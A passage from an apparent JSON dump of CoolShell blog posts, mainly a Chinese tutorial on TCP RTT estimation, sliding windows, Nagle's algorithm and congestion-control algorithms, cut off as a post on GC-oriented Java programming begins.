[![HTTP的前世今生](../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg)](https://coolshell.cn/articles/19840.html)[HTTP的前世今生](https://coolshell.cn/articles/19840.html)\n* [![TCP 的那些事儿（下）](../wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg)](https://coolshell.cn/articles/11609.html)[TCP 的那些事儿（下）](https://coolshell.cn/articles/11609.html)\n* [![Alan Cox：单向链表中prev指针的妙用](../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg)](https://coolshell.cn/articles/9859.html)[Alan Cox：单向链表中prev指针的妙用](https://coolshell.cn/articles/9859.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [![TCP网络关闭的状态变换时序图](../wp-content/uploads/2009/09/tcp1-150x150.jpg)](https://coolshell.cn/articles/1484.html)[TCP网络关闭的状态变换时序图](https://coolshell.cn/articles/1484.html)\nThe post [TCP 的那些事儿（上）](https://coolshell.cn/articles/11564.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-5-28 TCP 的那些事儿（下）.md",
    "content": "---\nlayout: post\ntitle: TCP 的那些事儿（下）\ndate: 2014/5/28/ 0:20:32\nupdated: 2014/5/28/ 0:20:32\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2014/05/xin_2001040422167711230318.jpg)这篇文章是下篇，所以如果你对TCP不熟悉的话，还请你先看看上篇《[TCP的那些事儿（上）](https://coolshell.cn/articles/11564.html)》 上篇中，我们介绍了TCP的协议头、状态机、数据重传中的东西。但是TCP要解决一个很大的事，那就是要在一个网络根据不同的情况来动态调整自己的发包的速度，小则让自己的连接更稳定，大则让整个网络更稳定。在你阅读下篇之前，你需要做好准备，本篇文章有好些算法和策略，可能会引发你的各种思考，让你的大脑分配很多内存和计算资源，所以，不适合在厕所中阅读。\n\n\n#### TCP的RTT算法\n\n\n从前面的TCP重传机制我们知道Timeout的设置对于重传非常重要。\n\n\n* 设长了，重发就慢，丢了老半天才重发，没有效率，性能差；\n* 设短了，会导致可能并没有丢就重发。于是重发的就快，会增加网络拥塞，导致更多的超时，更多的超时导致更多的重发。\n\n\n而且，这个超时时间在不同的网络的情况下，根本没有办法设置一个死的值。只能动态地设置。 为了动态地设置，TCP引入了RTT——Round Trip Time，也就是一个数据包从发出去到回来的时间。这样发送端就大约知道需要多少的时间，从而可以方便地设置Timeout——RTO（Retransmission TimeOut），以让我们的重传机制更高效。 听起来似乎很简单，好像就是在发送端发包时记下t0，然后接收端再把这个ack回来时再记一个t1，于是RTT = t1 – t0。没那么简单，这只是一个采样，不能代表普遍情况。\n\n\n\n##### 经典算法\n\n\n[RFC793](http://tools.ietf.org/html/rfc793) 中定义的经典算法是这样的：\n\n\n1）首先，先采样RTT，记下最近好几次的RTT值。\n\n\n2）然后做平滑计算SRTT（ Smoothed RTT）。公式为：（其中的 α 取值在0.8 到 0.9之间，这个算法英文叫Exponential weighted moving average，中文叫：加权移动平均）\n\n\n**SRTT = ( α \\* SRTT ) + ((1- α) \\* RTT)**\n\n\n3）开始计算RTO。公式如下：\n\n\n**RTO = min [ UBOUND,  max [ LBOUND,   (β \\* SRTT) ]  ]**\n\n\n其中：\n\n\n* UBOUND是最大的timeout时间，上限值\n* LBOUND是最小的timeout时间，下限值\n* β 值一般在1.3到2.0之间。\n\n\n##### Karn / Partridge 算法\n\n\n但是上面的这个算法在重传的时候会出有一个终极问题——你是用第一次发数据的时间和ack回来的时间做RTT样本值，还是用重传的时间和ACK回来的时间做RTT样本值？\n\n\n这个问题无论你选那头都是按下葫芦起了瓢。 如下图所示：\n\n\n* 情况（a）是ack没回来，所以重传。如果你计算第一次发送和ACK的时间，那么，明显算大了。\n* 情况（b）是ack回来慢了，但是导致了重传，但刚重传不一会儿，之前ACK就回来了。如果你是算重传的时间和ACK回来的时间的差，就会算短了。\n\n\n![](../wp-content/uploads/2014/05/Karn-Partridge-Algorithm.jpg)\n\n\n所以1987年的时候，搞了一个叫[Karn / Partridge Algorithm](http://en.wikipedia.org/wiki/Karn's_Algorithm)，这个算法的最大特点是——**忽略重传，不把重传的RTT做采样**（你看，你不需要去解决不存在的问题）。\n\n\n但是，这样一来，又会引发一个大BUG——**如果在某一时间，网络闪动，突然变慢了，产生了比较大的延时，这个延时导致要重转所有的包（因为之前的RTO很小），于是，因为重转的不算，所以，RTO就不会被更新，这是一个灾难**。 于是Karn算法用了一个取巧的方式——只要一发生重传，就对现有的RTO值翻倍（这就是所谓的 Exponential backoff），很明显，这种死规矩对于一个需要估计比较准确的RTT也不靠谱。\n\n\n##### Jacobson / Karels 算法\n\n\n前面两种算法用的都是“加权移动平均”，这种方法最大的毛病就是如果RTT有一个大的波动的话，很难被发现，因为被平滑掉了。所以，1988年，又有人推出来了一个新的算法，这个算法叫Jacobson / Karels Algorithm（参看[RFC6289](http://tools.ietf.org/html/rfc6298)）。这个算法引入了最新的RTT的采样和平滑过的SRTT的差距做因子来计算。 公式如下：（其中的DevRTT是Deviation RTT的意思）\n\n\n**SRTT****= S****RTT****+ α****(****RTT****– S****RTT****)**—— 计算平滑RTT\n\n\n**DevRTT****= (1-β****)\\*****DevRTT****+ β****\\*(|****RTT-SRTT****|)** ——计算平滑RTT和真实的差距（加权移动平均）\n\n\n**RTO= µ \\* SRTT + ∂ \\*DevRTT** —— 神一样的公式\n\n\n（其中：在Linux下，α = 0.125，β = 0.25， μ = 1，∂ = 4 ——这就是算法中的“调得一手好参数”，nobody knows why, it just works…） 最后的这个算法在被用在今天的TCP协议中（Linux的源代码在：[tcp\\_rtt\\_estimator](http://lxr.free-electrons.com/source/net/ipv4/tcp_input.c?v=2.6.32#L609)）。\n\n\n#### TCP滑动窗口\n\n\n需要说明一下，如果你不了解TCP的滑动窗口这个事，你等于不了解TCP协议。我们都知道，**TCP必需要解决的可靠传输以及包乱序（reordering）的问题**，所以，TCP必需要知道网络实际的数据处理带宽或是数据处理速度，这样才不会引起网络拥塞，导致丢包。\n\n\n所以，TCP引入了一些技术和设计来做网络流控，Sliding Window是其中一个技术。 前面我们说过，**TCP头里有一个字段叫Window，又叫Advertised-Window，这个字段是接收端告诉发送端自己还有多少缓冲区可以接收数据**。**于是发送端就可以根据这个接收端的处理能力来发送数据，而不会导致接收端处理不过来**。 为了说明滑动窗口，我们需要先看一下TCP缓冲区的一些数据结构：\n\n\n![](../wp-content/uploads/2014/05/sliding_window.jpg)\n\n\n上图中，我们可以看到：\n\n\n* 接收端LastByteRead指向了TCP缓冲区中读到的位置，NextByteExpected指向的地方是收到的连续包的最后一个位置，LastByteRcved指向的是收到的包的最后一个位置，我们可以看到中间有些数据还没有到达，所以有数据空白区。\n\n\n* 发送端的LastByteAcked指向了被接收端Ack过的位置（表示成功发送确认），LastByteSent表示发出去了，但还没有收到成功确认的Ack，LastByteWritten指向的是上层应用正在写的地方。\n\n\n于是：\n\n\n* 接收端在给发送端回ACK中会汇报自己的AdvertisedWindow = MaxRcvBuffer – LastByteRcvd – 1;\n\n\n* 而发送方会根据这个窗口来控制发送数据的大小，以保证接收方可以处理。\n\n\n下面我们来看一下发送方的滑动窗口示意图：\n\n\n![](../wp-content/uploads/2014/05/tcpswwindows.png)\n\n\n（[图片来源](http://www.tcpipguide.com/free/t_TCPSlidingWindowAcknowledgmentSystemForDataTranspo-6.htm)）\n\n\n上图中分成了四个部分，分别是：（其中那个黑模型就是滑动窗口）\n\n\n* #1已收到ack确认的数据。\n* #2发还没收到ack的。\n* #3在窗口中还没有发出的（接收方还有空间）。\n* #4窗口以外的数据（接收方没空间）\n\n\n下面是个滑动后的示意图（收到36的ack，并发出了46-51的字节）：\n\n\n![](../wp-content/uploads/2014/05/tcpswslide.png)\n\n\n下面我们来看一个接受端控制发送端的图示：\n\n\n![](../wp-content/uploads/2014/05/tcpswflow.png)\n\n\n（[图片来源](http://www.tcpipguide.com/free/t_TCPWindowSizeAdjustmentandFlowControl-2.htm)）\n\n\n##### Zero Window\n\n\n上图，我们可以看到一个处理缓慢的Server（接收端）是怎么把Client（发送端）的TCP Sliding Window给降成0的。此时，你一定会问，如果Window变成0了，TCP会怎么样？是不是发送端就不发数据了？是的，发送端就不发数据了，你可以想像成“Window Closed”，那你一定还会问，如果发送端不发数据了，接收方一会儿Window size 可用了，怎么通知发送端呢？\n\n\n解决这个问题，TCP使用了Zero Window Probe技术，缩写为ZWP，也就是说，发送端在窗口变成0后，会发ZWP的包给接收方，让接收方来ack他的Window尺寸，一般这个值会设置成3次，第次大约30-60秒（不同的实现可能会不一样）。如果3次过后还是0的话，有的TCP实现就会发RST把链接断了。\n\n\n**注意**：只要有等待的地方都可能出现DDoS攻击，Zero Window也不例外，一些攻击者会在和HTTP建好链发完GET请求后，就把Window设置为0，然后服务端就只能等待进行ZWP，于是攻击者会并发大量的这样的请求，把服务器端的资源耗尽。（关于这方面的攻击，大家可以移步看一下[Wikipedia的SockStress词条](http://en.wikipedia.org/wiki/Sockstress)）\n\n\n另外，Wireshark中，你可以使用tcp.analysis.zero\\_window来过滤包，然后使用右键菜单里的follow TCP stream，你可以看到ZeroWindowProbe及ZeroWindowProbeAck的包。\n\n\n##### Silly Window Syndrome\n\n\nSilly Window Syndrome翻译成中文就是“糊涂窗口综合症”。正如你上面看到的一样，如果我们的接收方太忙了，来不及取走Receive Windows里的数据，那么，就会导致发送方越来越小。到最后，如果接收方腾出几个字节并告诉发送方现在有几个字节的window，而我们的发送方会义无反顾地发送这几个字节。\n\n\n要知道，我们的TCP+IP头有40个字节，为了几个字节，要达上这么大的开销，这太不经济了。\n\n\n另外，你需要知道网络上有个MTU，对于以太网来说，MTU是1500字节，除去TCP+IP头的40个字节，真正的数据传输可以有1460，这就是所谓的MSS（Max Segment Size）注意，TCP的RFC定义这个MSS的默认值是536，这是因为 [RFC 791](http://tools.ietf.org/html/rfc791)里说了任何一个IP设备都得最少接收576尺寸的大小（实际上来说576是拨号的网络的MTU，而576减去IP头的20个字节就是536）。\n\n\n**如果你的网络包可以塞满MTU，那么你可以用满整个带宽，如果不能，那么你就会浪费带宽**。（大于MTU的包有两种结局，一种是直接被丢了，另一种是会被重新分块打包发送） 你可以想像成一个MTU就相当于一个飞机的最多可以装的人，如果这飞机里满载的话，带宽最高，如果一个飞机只运一个人的话，无疑成本增加了，也而相当二。\n\n\n所以，**Silly Windows Syndrome这个现像就像是你本来可以坐200人的飞机里只做了一两个人**。 要解决这个问题也不难，就是避免对小的window size做出响应，直到有足够大的window size再响应，这个思路可以同时实现在sender和receiver两端。\n\n\n* 如果这个问题是由Receiver端引起的，那么就会使用 David D Clark’s 方案。在receiver端，如果收到的数据导致window size小于某个值，可以直接ack(0)回sender，这样就把window给关闭了，也阻止了sender再发数据过来，等到receiver端处理了一些数据后windows size 大于等于了MSS，或者，receiver buffer有一半为空，就可以把window打开让send 发送数据过来。\n\n\n* 如果这个问题是由Sender端引起的，那么就会使用著名的 [Nagle’s algorithm](http://en.wikipedia.org/wiki/Nagle%27s_algorithm \"Nagle's algorithm\")。这个算法的思路也是延时处理，他有两个主要的条件：1）要等到 Window Size>=MSS 或是 Data Size >=MSS，2）收到之前发送数据的ack回包，他才会发数据，否则就是在攒数据。\n\n\n另外，Nagle算法默认是打开的，所以，对于一些需要小包场景的程序——**比如像telnet或ssh这样的交互性比较强的程序，你需要关闭这个算法**。你可以在Socket设置TCP\\_NODELAY选项来关闭这个算法（关闭Nagle算法没有全局参数，需要根据每个应用自己的特点来关闭）\n\n\n`setsockopt(sock_fd, IPPROTO_TCP, TCP_NODELAY, (char *)&value,sizeof(int));`\n\n\n另外，网上有些文章说TCP\\_CORK的socket option是也关闭Nagle算法，这不对。**TCP\\_CORK其实是更新激进的Nagle算汉，完全禁止小包发送，而Nagle算法没有禁止小包发送，只是禁止了大量的小包发送**。最好不要两个选项都设置。\n\n\n#### TCP的拥塞处理 – Congestion Handling\n\n\n上面我们知道了，TCP通过Sliding Window来做流控（Flow Control），但是TCP觉得这还不够，因为Sliding Window需要依赖于连接的发送端和接收端，其并不知道网络中间发生了什么。TCP的设计者觉得，一个伟大而牛逼的协议仅仅做到流控并不够，因为流控只是网络模型4层以上的事，TCP的还应该更聪明地知道整个网络上的事。\n\n\n具体一点，我们知道TCP通过一个timer采样了RTT并计算RTO，但是，**如果网络上的延时突然增加，那么，TCP对这个事做出的应对只有重传数据，但是，重传会导致网络的负担更重，于是会导致更大的延迟以及更多的丢包，于是，这个情况就会进入恶性循环被不断地放大。试想一下，如果一个网络内有成千上万的TCP连接都这么行事，那么马上就会形成“网络风暴”，TCP这个协议就会拖垮整个网络。**这是一个灾难。\n\n\n所以，TCP不能忽略网络上发生的事情，而无脑地一个劲地重发数据，对网络造成更大的伤害。对此TCP的设计理念是：**TCP不是一个自私的协议，当拥塞发生的时候，要做自我牺牲。就像交通阻塞一样，每个车都应该把路让出来，而不要再去抢路了。**\n\n\n关于拥塞控制的论文请参看《[Congestion Avoidance and Control](http://ee.lbl.gov/papers/congavoid.pdf)》(PDF)\n\n\n拥塞控制主要是四个算法：**1）慢启动**，**2）拥塞避免**，**3）拥塞发生**，**4）快速恢复**。这四个算法不是一天都搞出来的，这个四算法的发展经历了很多时间，到今天都还在优化中。 备注:\n\n\n* 1988年，TCP-Tahoe 提出了1）慢启动，2）拥塞避免，3）拥塞发生时的快速重传\n* 1990年，TCP Reno 在Tahoe的基础上增加了4）快速恢复\n\n\n##### 慢热启动算法 – Slow Start\n\n\n首先，我们来看一下TCP的慢热启动。慢启动的意思是，刚刚加入网络的连接，一点一点地提速，不要一上来就像那些特权车一样霸道地把路占满。新同学上高速还是要慢一点，不要把已经在高速上的秩序给搞乱了。\n\n\n慢启动的算法如下(cwnd全称Congestion Window)：\n\n\n1）连接建好的开始先初始化cwnd = 1，表明可以传一个MSS大小的数据。\n\n\n2）每当收到一个ACK，cwnd++; 呈线性上升\n\n\n3）每当过了一个RTT，cwnd = cwnd\\*2; 呈指数让升\n\n\n4）还有一个ssthresh（slow start threshold），是一个上限，当cwnd >= ssthresh时，就会进入“拥塞避免算法”（后面会说这个算法）\n\n\n所以，我们可以看到，如果网速很快的话，ACK也会返回得快，RTT也会短，那么，这个慢启动就一点也不慢。下图说明了这个过程。\n\n\n![](../wp-content/uploads/2014/05/tcp.slow_.start_.jpg)\n\n\n这里，我需要提一下的是一篇Google的论文《[An Argument for Increasing TCP’s Initial Congestion Window](http://static.googleusercontent.com/media/research.google.com/zh-CN//pubs/archive/36640.pdf)》Linux 3.0后采用了这篇论文的建议——把cwnd 初始化成了 10个MSS。 而Linux 3.0以前，比如2.6，Linux采用了[RFC3390](http://www.rfc-editor.org/rfc/rfc3390.txt)，cwnd是跟MSS的值来变的，如果MSS< 1095，则cwnd = 4；如果MSS>2190，则cwnd=2；其它情况下，则是3。\n\n\n#####  拥塞避免算法 – Congestion Avoidance\n\n\n前面说过，还有一个ssthresh（slow start threshold），是一个上限，当cwnd >= ssthresh时，就会进入“拥塞避免算法”。一般来说ssthresh的值是65535，单位是字节，当cwnd达到这个值时后，算法如下：\n\n\n1）收到一个ACK时，cwnd = cwnd + 1/cwnd\n\n\n2）当每过一个RTT时，cwnd = cwnd + 1\n\n\n这样就可以避免增长过快导致网络拥塞，慢慢的增加调整到网络的最佳值。很明显，是一个线性上升的算法。\n\n\n##### 拥塞状态时的算法\n\n\n前面我们说过，当丢包的时候，会有两种情况：\n\n\n1）等到RTO超时，重传数据包。TCP认为这种情况太糟糕，反应也很强烈。\n\n\n+ sshthresh =  cwnd /2\n+ cwnd 重置为 1\n+ 进入慢启动过程\n\n\n2）Fast Retransmit算法，也就是在收到3个duplicate ACK时就开启重传，而不用等到RTO超时。\n\n\n+ TCP Tahoe的实现和RTO超时一样。\n\n\n+ TCP Reno的实现是：\n\t- cwnd = cwnd /2\n\t- sshthresh = cwnd\n\t- 进入快速恢复算法——Fast Recovery\n\n\n上面我们可以看到RTO超时后，sshthresh会变成cwnd的一半，这意味着，如果cwnd<=sshthresh时出现的丢包，那么TCP的sshthresh就会减了一半，然后等cwnd又很快地以指数级增涨爬到这个地方时，就会成慢慢的线性增涨。我们可以看到，TCP是怎么通过这种强烈地震荡快速而小心得找到网站流量的平衡点的。\n\n\n##### 快速恢复算法 – Fast Recovery\n\n\n**TCP Reno**\n\n\n这个算法定义在[RFC5681](http://tools.ietf.org/html/rfc5681 \"\\\"TCP Congestion Control\\\"\")。快速重传和快速恢复算法一般同时使用。快速恢复算法是认为，你还有3个Duplicated Acks说明网络也不那么糟糕，所以没有必要像RTO超时那么强烈。 注意，正如前面所说，进入Fast Recovery之前，cwnd 和 sshthresh已被更新：\n\n\n* cwnd = cwnd /2\n* sshthresh = cwnd\n\n\n然后，真正的Fast Recovery算法如下：\n\n\n* cwnd = sshthresh  + 3 \\* MSS （3的意思是确认有3个数据包被收到了）\n* 重传Duplicated ACKs指定的数据包\n* 如果再收到 duplicated Acks，那么cwnd = cwnd +1\n* 如果收到了新的Ack，那么，cwnd = sshthresh ，然后就进入了拥塞避免的算法了。\n\n\n如果你仔细思考一下上面的这个算法，你就会知道，**上面这个算法也有问题，那就是——它依赖于3个重复的Acks**。注意，3个重复的Acks并不代表只丢了一个数据包，很有可能是丢了好多包。但这个算法只会重传一个，而剩下的那些包只能等到RTO超时，于是，进入了恶梦模式——超时一个窗口就减半一下，多个超时会超成TCP的传输速度呈级数下降，而且也不会触发Fast Recovery算法了。\n\n\n通常来说，正如我们前面所说的，SACK或D-SACK的方法可以让Fast Recovery或Sender在做决定时更聪明一些，但是并不是所有的TCP的实现都支持SACK（SACK需要两端都支持），所以，需要一个没有SACK的解决方案。而通过SACK进行拥塞控制的算法是FACK（后面会讲）\n\n\n**TCP New Reno**\n\n\n于是，1995年，TCP New Reno（参见 [RFC 6582](http://tools.ietf.org/html/rfc6582) ）算法提出来，主要就是在没有SACK的支持下改进Fast Recovery算法的——\n\n\n* 当sender这边收到了3个Duplicated Acks，进入Fast Retransimit模式，开发重传重复Acks指示的那个包。如果只有这一个包丢了，那么，重传这个包后回来的Ack会把整个已经被sender传输出去的数据ack回来。如果没有的话，说明有多个包丢了。我们叫这个ACK为Partial ACK。\n\n\n* 一旦Sender这边发现了Partial ACK出现，那么，sender就可以推理出来有多个包被丢了，于是乎继续重传sliding window里未被ack的第一个包。直到再也收不到了Partial Ack，才真正结束Fast Recovery这个过程\n\n\n我们可以看到，这个“Fast Recovery的变更”是一个非常激进的玩法，他同时延长了Fast Retransmit和Fast Recovery的过程。\n\n\n##### 算法示意图\n\n\n下面我们来看一个简单的图示以同时看一下上面的各种算法的样子：\n\n\n![](../wp-content/uploads/2014/05/tcp.fr_-1024x359.jpg)\n\n\n \n\n\n##### FACK算法\n\n\nFACK全称Forward Acknowledgment 算法，论文地址在这里（PDF）[Forward Acknowledgement: Refining TCP Congestion Control](http://conferences.sigcomm.org/sigcomm/1996/papers/mathis.pdf) 这个算法是其于SACK的，前面我们说过SACK是使用了TCP扩展字段Ack了有哪些数据收到，哪些数据没有收到，他比Fast Retransmit的3 个duplicated acks好处在于，前者只知道有包丢了，不知道是一个还是多个，而SACK可以准确的知道有哪些包丢了。 所以，SACK可以让发送端这边在重传过程中，把那些丢掉的包重传，而不是一个一个的传，但这样的一来，如果重传的包数据比较多的话，又会导致本来就很忙的网络就更忙了。所以，FACK用来做重传过程中的拥塞流控。\n\n\n* 这个算法会把SACK中最大的Sequence Number 保存在**snd.fack**这个变量中，snd.fack的更新由ack带秋，如果网络一切安好则和snd.una一样（snd.una就是还没有收到ack的地方，也就是前面sliding window里的category #2的第一个地方）\n\n\n* 然后定义一个**awnd = snd.nxt – snd.fack**（snd.nxt指向发送端sliding window中正在要被发送的地方——前面sliding windows图示的category#3第一个位置），这样awnd的意思就是在网络上的数据。（所谓awnd意为：actual quantity of data outstanding in the network）\n\n\n* 如果需要重传数据，那么，**awnd = snd.nxt – snd.fack + retran\\_data**，也就是说，awnd是传出去的数据 + 重传的数据。\n\n\n* 然后触发Fast Recovery 的条件是： (**( snd.fack – snd.una ) > (3\\*MSS)**) || (dupacks == 3) ) 。这样一来，就不需要等到3个duplicated acks才重传，而是只要sack中的最大的一个数据和ack的数据比较长了（3个MSS），那就触发重传。在整个重传过程中cwnd不变。直到当第一次丢包的snd.nxt<=snd.una（也就是重传的数据都被确认了），然后进来拥塞避免机制——cwnd线性上涨。\n\n\n我们可以看到如果没有FACK在，那么在丢包比较多的情况下，原来保守的算法会低估了需要使用的window的大小，而需要几个RTT的时间才会完成恢复，而FACK会比较激进地来干这事。 但是，FACK如果在一个网络包会被 reordering的网络里会有很大的问题。\n\n\n#### 其它拥塞控制算法简介\n\n\n##### **TCP Vegas 拥塞控制算法**\n\n\n这个算法1994年被提出，它主要对TCP Reno 做了些修改。这个算法通过对RTT的非常重的监控来计算一个基准RTT。然后通过这个基准RTT来估计当前的网络实际带宽，如果实际带宽比我们的期望的带宽要小或是要多的活，那么就开始线性地减少或增加cwnd的大小。如果这个计算出来的RTT大于了Timeout后，那么，不等ack超时就直接重传。（Vegas 的核心思想是用RTT的值来影响拥塞窗口，而不是通过丢包） 这个算法的论文是《[TCP Vegas: End to End Congestion Avoidance on a Global Internet](http://www.cs.cmu.edu/~srini/15-744/F02/readings/BP95.pdf)》这篇论文给了Vegas和 New Reno的对比：\n\n\n![](../wp-content/uploads/2014/05/tcp_vegas_newreno-1024x555.jpg)\n\n\n关于这个算法实现，你可以参看Linux源码：[/net/ipv4/tcp\\_vegas.h](http://lxr.free-electrons.com/source/net/ipv4/tcp_vegas.h)， [/net/ipv4/tcp\\_vegas.c](http://lxr.free-electrons.com/source/net/ipv4/tcp_vegas.c)\n\n\n##### \n\n\n##### HSTCP(High Speed TCP) 算法\n\n\n这个算法来自[RFC 3649](http://tools.ietf.org/html/rfc3649)（[Wikipedia词条](http://en.wikipedia.org/wiki/HSTCP)）。其对最基础的算法进行了更改，他使得Congestion Window涨得快，减得慢。其中：\n\n\n* 拥塞避免时的窗口增长方式： cwnd = cwnd + α(cwnd) / cwnd\n* 丢包后窗口下降方式：cwnd = (1- β(cwnd))\\*cwnd\n\n\n注：α(cwnd)和β(cwnd)都是函数，如果你要让他们和标准的TCP一样，那么让α(cwnd)=1，β(cwnd)=0.5就可以了。 对于α(cwnd)和β(cwnd)的值是个动态的变换的东西。 关于这个算法的实现，你可以参看Linux源码：[/net/ipv4/tcp\\_highspeed.c](http://lxr.free-electrons.com/source/net/ipv4/tcp_highspeed.c)\n\n\n#####  TCP BIC 算法\n\n\n2004年，产内出BIC算法。现在你还可以查得到相关的新闻《Google：[美科学家研发BIC-TCP协议 速度是DSL六千倍](https://www.google.com/search?lr=lang_zh-CN%7Clang_zh-TW&newwindow=1&biw=1366&bih=597&tbs=lr%3Alang_1zh-CN%7Clang_1zh-TW&q=%E7%BE%8E%E7%A7%91%E5%AD%A6%E5%AE%B6%E7%A0%94%E5%8F%91BIC-TCP%E5%8D%8F%E8%AE%AE+%E9%80%9F%E5%BA%A6%E6%98%AFDSL%E5%85%AD%E5%8D%83%E5%80%8D&oq=%E7%BE%8E%E7%A7%91%E5%AD%A6%E5%AE%B6%E7%A0%94%E5%8F%91BIC-TCP%E5%8D%8F%E8%AE%AE+%E9%80%9F%E5%BA%A6%E6%98%AFDSL%E5%85%AD%E5%8D%83%E5%80%8D)》 BIC全称[Binary Increase Congestion control](http://research.csc.ncsu.edu/netsrv/?q=content/bic-and-cubic)，在Linux 2.6.8中是默认拥塞控制算法。BIC的发明者发这么多的拥塞控制算法都在努力找一个合适的cwnd – Congestion Window，而且BIC-TCP的提出者们看穿了事情的本质，其实这就是一个搜索的过程，所以BIC这个算法主要用的是Binary Search——二分查找来干这个事。 关于这个算法实现，你可以参看Linux源码：[/net/ipv4/tcp\\_bic.c](http://lxr.free-electrons.com/source/net/ipv4/tcp_bic.c)\n\n\n##### TCP WestWood算法\n\n\nwestwood采用和Reno相同的慢启动算法、拥塞避免算法。westwood的主要改进方面：在发送端做带宽估计，当探测到丢包时，根据带宽值来设置拥塞窗口、慢启动阈值。 那么，这个算法是怎么测量带宽的？每个RTT时间，会测量一次带宽，测量带宽的公式很简单，就是这段RTT内成功被ack了多少字节。因为，这个带宽和用RTT计算RTO一样，也是需要从每个样本来平滑到一个值的——也是用一个加权移平均的公式。 另外，我们知道，如果一个网络的带宽是每秒可以发送X个字节，而RTT是一个数据发出去后确认需要的时候，所以，X \\* RTT应该是我们缓冲区大小。所以，在这个算法中，ssthresh的值就是est\\_BD \\* min-RTT(最小的RTT值)，如果丢包是Duplicated ACKs引起的，那么如果cwnd > ssthresh，则 cwin = ssthresh。如果是RTO引起的，cwnd = 1，进入慢启动。   关于这个算法实现，你可以参看Linux源码： [/net/ipv4/tcp\\_westwood.c](http://lxr.free-electrons.com/source/net/ipv4/tcp_westwood.c)\n\n\n##### 其它\n\n\n更多的算法，你可以从Wikipedia的 [TCP Congestion Avoidance Algorithm](http://en.wikipedia.org/wiki/TCP_congestion-avoidance_algorithm) 词条中找到相关的线索\n\n\n####  后记\n\n\n好了，到这里我想可以结束了，TCP发展到今天，里面的东西可以写上好几本书。本文主要目的，还是把你带入这些古典的基础技术和知识中，希望本文能让你了解TCP，更希望本文能让你开始有学习这些基础或底层知识的兴趣和信心。\n\n\n当然，TCP东西太多了，不同的人可能有不同的理解，而且本文可能也会有一些荒谬之言甚至错误，还希望得到您的反馈和批评。\n\n\n（全文完）\n\n\n \n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![从一次经历谈 TIME_WAIT 的那些事](../wp-content/uploads/2022/07/wall_clock-300x167-1-150x150.jpeg)](https://coolshell.cn/articles/22263.html)[从一次经历谈 TIME\\_WAIT 的那些事](https://coolshell.cn/articles/22263.html)\n* [![HTTP的前世今生](../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg)](https://coolshell.cn/articles/19840.html)[HTTP的前世今生](https://coolshell.cn/articles/19840.html)\n* [![TCP 的那些事儿（上）](../wp-content/uploads/2014/05/tin-can-phone-150x150.jpg)](https://coolshell.cn/articles/11564.html)[TCP 的那些事儿（上）](https://coolshell.cn/articles/11564.html)\n* [![Alan Cox：单向链表中prev指针的妙用](../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg)](https://coolshell.cn/articles/9859.html)[Alan Cox：单向链表中prev指针的妙用](https://coolshell.cn/articles/9859.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [![TCP网络关闭的状态变换时序图](../wp-content/uploads/2009/09/tcp1-150x150.jpg)](https://coolshell.cn/articles/1484.html)[TCP网络关闭的状态变换时序图](https://coolshell.cn/articles/1484.html)\nThe post [TCP 的那些事儿（下）](https://coolshell.cn/articles/11609.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-5-7 面向GC的Java编程.md",
    "content": "---\nlayout: post\ntitle: 面向GC的Java编程\ndate: 2014/5/7/ 3:24:38\nupdated: 2014/5/7/ 3:24:38\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢网友 [@Hesey小纯纯](http://weibo.com/tbmujian) 投稿  [博客](http://blog.hesey.net/) |　[原文链接](http://blog.hesey.net/2014/05/gc-oriented-java-programming.html)）**\n\n\nJava程序员在编码过程中通常不需要考虑内存问题，JVM经过高度优化的GC机制大部分情况下都能够很好地处理堆(Heap)的清理问题。以至于许多Java程序员认为，我只需要关心何时创建对象，而回收对象，就交给GC来做吧！甚至有人说，如果在编程过程中频繁考虑内存问题，是一种退化，这些事情应该交给编译器，交给虚拟机来解决。\n\n\n这话其实也没有太大问题，的确，大部分场景下关心内存、GC的问题，显得有点“杞人忧天”了，高老爷说过：\n\n\n过早优化是万恶之源。\n\n\n但另一方面，**什么才是“过早优化”？**\n\n\nIf we could do things right for the first time, why not?\n\n\n事实上**JVM的内存模型**( [JMM](http://www.cs.umd.edu/~pugh/java/memoryModel/) )理应是Java程序员的基础知识，处理过几次JVM线上内存问题之后就会很明显感受到，很多系统问题，都是内存问题。\n\n\n对JVM内存结构感兴趣的同学可以看下 [浅析Java虚拟机结构与机制](http://blog.hesey.net/2011/04/introduction-to-java-virtual-machine.html) 这篇文章，本文就不再赘述了，本文也并不关注具体的GC算法，相关的文章汗牛充栋，随时可查。\n\n\n另外，不要指望GC优化的这些技巧，可以对应用性能有成倍的提高，特别是对I/O密集型的应用，或是实际落在YoungGC上的优化，可能效果只是帮你减少那么一点YoungGC的频率。\n\n\n但我认为，**优秀程序员的价值，不在于其所掌握的几招屠龙之术，而是在细节中见真著**，就像前面说的，**如果我们可以一次把事情做对，并且做好，在允许的范围内尽可能追求卓越，为什么不去做呢？**\n\n\n#### 